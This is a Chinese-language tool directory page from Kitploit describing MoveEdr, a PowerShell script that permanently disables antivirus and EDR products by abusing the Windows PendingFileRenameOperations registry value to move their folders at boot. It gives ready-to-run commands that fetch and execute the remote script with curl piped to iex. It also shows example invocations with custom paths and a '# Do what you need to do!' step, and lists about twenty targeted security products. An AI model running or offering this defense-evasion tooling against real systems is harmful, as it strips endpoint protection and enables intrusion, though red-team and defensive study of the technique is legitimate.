Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
MoveEdr — 以本地管理员身份永久禁用 EDR | Kitploit
工具/GitHubGitHub/duhirsch/moveedr
防御工具权限提升持久化机制IDS/IPS规避后渗透利用渗透测试红队反机器人
GitHubduhirsch/moveedr

MoveEdr

以本地管理员身份永久禁用 EDR

查看仓库
129148个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

MoveEDR

如果你以管理员身份操作,可以强制 Windows 在启动后、服务启动之前立即删除或移动文件夹和文件。这可以用来禁用 EDR。

使用

[!CAUTION] 有一个与 CrowdStrike 相关的问题,会导致循环启动并显示消息 "INACCESSIBLE_BOOT_DEVICE"。 我的理论是,要么 CrowdStrike 本身,要么某个软件部署解决方案,试图安装缺失的 CrowdStrike 文件,但失败并使其处于损坏状态。 我不确定这是取决于移动后经过的时间,还是执行重启的次数。 第一次移动 CrowdStrike 并重启是正常的。 也许在第一次重启后安排撤消操作,以免出错。

root@kitploit:~
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex; MoveEdr
# Reboot!

可以使用以下标志

  • Undo : 撤消 EDR 移动,适用于 CustomPaths
  • Clear: 清除注册表键的值
  • Print: 以人类可读格式打印注册表键的值,而不是以空字节结尾的字符串
  • CustomOnly: 默认情况下,CustomPaths 和 FullyCustomPaths 会被添加到内置移动项中。使用此标志可确保仅移动你的自定义路径。
  • CustomPaths: 指定你自己的 EDR 路径,而不是使用内置路径。只接受源路径作为输入,若还想自定义目标路径,请使用 FullyCustomPaths。
  • FullyCustomPaths : 同时指定源和目标,让你可以控制目标路径,而不是使用 $Suffix。
  • Suffix: 为移动的文件使用不同的后缀,而不是默认的 _bak
  • Dump: 以可供 Load 使用的格式转储注册表键的值
  • Load: 加载之前转储的注册表键的值
  • DefenderHard: 不移动 Windows Defender 的特定可执行文件,而是移动整个 Windows Defender 文件夹
  • IgnoreOld: 不保留注册表键中已经存在的值,直接覆盖它们
  • Reboot: 设置注册表键后立即执行重启。可能会执行 Windows 更新,并且重启可能需要很长时间 😬

示例

root@kitploit:~
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex
MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot

# Do what you need to do!

# Undo
# Same command as before, just append -Undo
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex
MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot -Undo

长篇说明

有些程序具备一项功能,即便是本地管理员也无法卸载或禁用它们。大多数情况下,这些程序是 AV/EDR,即使你是管理员,它们也会提示你输入停用密码。

这里有一个技巧:通过移动文件和文件夹,使它们无法在下次启动时运行,从而禁用它们。

SysInternals's PendMoves 提供了 movefile.exe,其说明如下:

有很多应用程序(例如 service packs 和 hotfixes)必须替换一个正在使用而无法替换的文件。因此,Windows 提供了 MoveFileEx API 来重命名或删除文件,并允许调用方指定他们希望在下次系统启动时、在文件被引用之前执行该操作。会话管理器通过读取注册表值 HKLM\System\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations 中注册的重命名和删除命令来执行此任务。

MoveFileEx 究竟是如何做到这一点的?让我们看看文档:

该函数将要重命名的文件的位置存储在重启时的以下注册表值中:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations

此注册表值的类型为 REG_MULTI_SZ。根据重命名是否为删除操作,每个重命名操作会存储以下一个以 NULL 结尾的字符串:

szSrcFile\0\0
szSrcFile\0szDstFile\0

这意味着,我们可以通过创建注册表键 PendingFileRenameOperations 并以正确的 REG_MULTI_SZ 格式输入我们要删除的文件/目录路径,来实现与 movefile.exe 相同的效果。

MoveEdr 脚本会自动为以下 AV/EDR 创建正确的注册表键:

  • Bitdefender
  • Blackberry Cylance
  • Checkpoint
  • Cisco
  • CrowdStrike
  • Cyberreason
  • Elastic
  • Fortinet
  • Kaspersky
  • Malwarebytes
  • McAfee (感谢 mschillinger)
  • Palo Alto Cortex
  • Sentinel One
  • Symantec
  • Trellix (前身为 FireEye,感谢 @0x48756773)
  • Trend Micro Security Agent
  • VMware Carbon Black
下载工具
  • Webroot
  • Windows Defender
  • Windows Defender for Endpoint